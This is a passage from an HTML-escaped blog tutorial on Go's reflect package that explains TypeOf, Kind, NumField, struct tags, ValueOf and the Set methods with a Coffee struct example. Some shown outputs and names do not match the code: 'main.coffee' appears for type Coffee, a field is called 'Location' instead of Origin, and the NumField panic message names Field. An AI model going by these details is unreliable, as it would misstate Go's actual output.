{&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;data-type-type-and-typeof&#34;&gt;Data type: Type and TypeOf&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;Type&lt;/em&gt; is the &lt;strong&gt;most important data type in the reflect package&lt;/strong&gt; since it represents the object in memory and stores all the meta information of our objects: its type, representation, methods and fields.&lt;/p&gt;&#xA;&lt;p&gt;And how do we get a &lt;em&gt;Type&lt;/em&gt;? With the &lt;em&gt;TypeOf&lt;/em&gt; method&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;TypeOf&lt;/em&gt; method of the &lt;em&gt;reflect&lt;/em&gt; package is used to get the type of an interface, it receives an &lt;em&gt;interface&lt;/em&gt; (i.e. anything) and returns a &lt;em&gt;reflect.Type&lt;/em&gt;; &amp;ldquo;the most important type of reflect&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Reflect--&gt;TypeOf;&#xA;    Reflect--&gt;Type;&#xA;    TypeOf--&gt;Type;&#xA;    Type--&gt;Name;&#xA;    Type--&gt;Kind;&#xA;    Type--&gt;NumField;&#xA;    Type--&gt;Field;&#xA;    Type--&gt;Size;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;In this diagram I place what I consider the most important methods of &lt;em&gt;Type&lt;/em&gt;, but both &lt;em&gt;reflect.Type&lt;/em&gt; and &lt;em&gt;reflect.Value&lt;/em&gt; have many more.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;See an example with &lt;em&gt;TypeOf&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Coffee &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Origin &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;`exampleTag:&amp;#34;value&amp;#34;`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Height &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coffeeInstance &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Coffee{Origin: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Michoacan&amp;#34;&lt;/span&gt;, Height: &lt;span style=&#34;color:#ff9f43&#34;&gt;1100&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// TypeOf returns the type *reflect.Type*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(typeOfCoffee)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// main.coffee&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how the data type is a structure corresponding to main, named &lt;em&gt;coffee&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;name-the-name-of-the-data-type&#34;&gt;Name, the name of the data type&lt;/h3&gt;&#xA;&lt;p&gt;Name contains the name of the respective data type&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// TypeOf returns a *reflect.Type* type&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Name&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// coffee&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;kind-the-data-type-class&#34;&gt;Kind, the data type class&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;em&gt;TypeOf&lt;/em&gt; method allows us to obtain a &lt;em&gt;Type&lt;/em&gt; object, which represents the data type of our interface, from which we can read the data type, with its &lt;em&gt;Kind&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// TypeOf returns a *reflect.Type* type&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Kind&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// struct&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;numfield-to-get-the-number-of-fields-in-a-struct&#34;&gt;NumField to get the number of fields in a struct&lt;/h3&gt;&#xA;&lt;p&gt;From &lt;em&gt;Type&lt;/em&gt; we can obtain all kinds of useful information, such as the number of fields in an object. This is quite useful in the case of structs and other structures with multiple fields.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// We&amp;#39;ll obtain the number of fields from our object&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coffeeNumFields &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;NumField&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(coffeeNumFields)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this case we get 2 fields (Location and Height)&lt;/p&gt;&#xA;&lt;p&gt;Consider that if you try to get the NumField of an int type or another type that &lt;strong&gt;does not have multiple fields&lt;/strong&gt;, Go will return an error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;panic: reflect: Field of non&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;nested-field-and-type-of-a-struct&#34;&gt;Nested Field and Type of a struct&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;Type&lt;/em&gt; also puts at our disposal the &lt;em&gt;Field&lt;/em&gt; method, which together with &lt;em&gt;NumField&lt;/em&gt;, will allow us to access directly to the fields of a struct, from its index.&lt;/p&gt;&#xA;&lt;p&gt;And, with this, we will be able to access the &lt;em&gt;Types&lt;/em&gt; nested inside the &lt;em&gt;Type&lt;/em&gt; object.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    TypeDelStruct--&gt;Field;&#xA;    Field--Indice--&gt;FieldType;&#xA;    FieldType--&gt;Name;&#xA;    FieldType--&gt;Kind;&#xA;    FieldType--&gt;Otros...;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Each nested &lt;em&gt;Type&lt;/em&gt;, like its parent, will have the &lt;em&gt;Name&lt;/em&gt; and &lt;em&gt;Kind&lt;/em&gt; methods that we saw a few lines above.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// We&amp;#39;ll obtain the number of fields from our object&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;field &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Field&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(field.Type.&lt;span style=&#34;color:#57c7ff&#34;&gt;Name&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(field.Type.&lt;span style=&#34;color:#57c7ff&#34;&gt;Kind&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// string string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this case, being primitive data types, both are the same: string; since the string type field is called string.&lt;/p&gt;&#xA;&lt;h3 id=&#34;read-tags-from-a-struct-field-with-reflect&#34;&gt;Read tags from a struct field with reflect&lt;/h3&gt;&#xA;&lt;p&gt;Reflect also allows us to access an object&amp;rsquo;s metadata, those annotations that you&amp;rsquo;ve probably seen if you&amp;rsquo;ve worked with ORM and/or JSON in Go.&lt;/p&gt;&#xA;&lt;p&gt;To obtain the Tags of a struct, &lt;em&gt;Tag.Get&lt;/em&gt; is used.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// We add a customized tag to read it in the future&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Coffee &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Origin &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;`exampleTag:&amp;#34;value&amp;#34;`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Height &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;field &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Field&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(field.Tag.&lt;span style=&#34;color:#57c7ff&#34;&gt;Get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;exampleTag&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// value&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;data-value-value-and-valueof&#34;&gt;Data Value: Value and ValueOf&lt;/h2&gt;&#xA;&lt;p&gt;As I told you before, besides Type, there is another very important part in reflect, this is &lt;em&gt;Value&lt;/em&gt;. The &lt;em&gt;Value&lt;/em&gt; corresponds to the value of an interface, and how can we obtain a &lt;em&gt;Value&lt;/em&gt;? Well, with &lt;em&gt;ValueOf&lt;/em&gt;, do you notice how consistency is preserved?&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;ValueOf&lt;/em&gt; method receives an &lt;em&gt;interface&lt;/em&gt; as parameter and returns an object of type &lt;em&gt;Value&lt;/em&gt; that will contain all the necessary methods to modify its own value.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Reflect--&gt;ValueOf;&#xA;    Reflect--&gt;Value;&#xA;    ValueOf--&gt;Value;&#xA;    Value--&gt;Elem;&#xA;    Elem--&gt;Field;&#xA;    Elem--&gt;Set;&#xA;    Elem--&gt;SetString;&#xA;    Elem--&gt;SetComplex;&#xA;    Elem--&gt;SetFloat;&#xA;    Elem--&gt;SetInt;&#xA;    Elem--&gt;SetBool;&#xA;    Elem--&gt;SetInt;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Look at this example where you can see how &lt;em&gt;ValueOf&lt;/em&gt; returns the value of our struct.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ValueOf will return the value of our variable&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coffeeInstance &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Coffee{Origin: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Michoacan&amp;#34;&lt;/span&gt;, Height: &lt;span style=&#34;color:#ff9f43&#34;&gt;1100&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ValueOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;ValueOf&lt;/span&gt;(coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(ValueOfCoffee)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// {Michoacan 1100}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From Value we will have a series of methods to change the value of an object.&lt;/p&gt;&#xA;&lt;h3 id=&#34;modifying-a-field-of-a-value-object&#34;&gt;Modifying a field of a Value object&lt;/h3&gt;&#xA;&lt;p&gt;To modify a field we need to access the &lt;em&gt;Value&lt;/em&gt; object that points to our object, which we can obtain by passing a pointer to the &lt;em&gt;ValueOf&lt;/em&gt; method. And, from there, we will use &lt;em&gt;Elem&lt;/em&gt; to access the value of our object, then its first field (only in the case of structs) and finally change the value using &lt;em&gt;SetString&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coffeeInstance &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Coffee{Origin: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Michoacan&amp;#34;&lt;/span&gt;, Height: &lt;span style=&#34;color:#ff9f43&#34;&gt;1100&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valueofCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;ValueOf&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valueofCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Elem&lt;/span&gt;().&lt;span style=&#34;color:#57c7ff&#34;&gt;Field&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;).&lt;span style=&#34;color:#57c7ff&#34;&gt;SetString&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Oaxaca&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//{Oaxaca 1100}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;methods-for-assigning-data-in-reflect&#34;&gt;Methods for assigning data in reflect&lt;/h3&gt;&#xA;&lt;p&gt;In addition to the SetString method, Go provides us with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/reflect&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;another set of specialized methods for each data type&lt;/a&gt;&#xA; :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SetBool(x bool)&lt;/li&gt;&#xA;&lt;li&gt;SetBytes(x []byte)&lt;/li&gt;&#xA;&lt;li&gt;SetCap(n int)&lt;/li&gt;&#xA;&lt;li&gt;SetComplex(x complex128)&lt;/li&gt;&#xA;&lt;li&gt;SetFloat(x float64)&lt;/li&gt;&#xA;&lt;li&gt;SetInt(x int64)&lt;/li&gt;&#xA;&lt;li&gt;SetIterKey(iter *MapIter)&lt;/li&gt;&#xA;&lt;li&gt;SetIterValue(iter *MapIter)&lt;/li&gt;&#xA;&lt;li&gt;SetLen(n int)&lt;/li&gt;&#xA;&lt;li&gt;SetMapIndex(key, elem Value)&lt;/li&gt;&#xA;&lt;li&gt;SetPointer(x puntero inseguro)&lt;/li&gt;&#xA;&lt;li&gt;SetString(x cadena)&lt;/li&gt;&#xA;&lt;li&gt;SetUint(x uint64)&lt;/li&gt;&#xA;&lt;li&gt;SetZero()&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These methods can be accessed directly from &lt;em&gt;Value.Elem&lt;/em&gt; for non-compound data types (such as structs).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;original &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;I will not be printed&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// We will obtain string&amp;#39;s value&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;value &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;ValueOf&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;original)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;I WILL be printed&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Let&amp;#39;s change the original value &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;value.&lt;span style=&#34;color:#57c7ff&#34;&gt;Elem&lt;/span&gt;().&lt;span style=&#34;color:#57c7ff&#34;&gt;SetString&lt;/span&gt;(modified)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(original)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// I WILL be 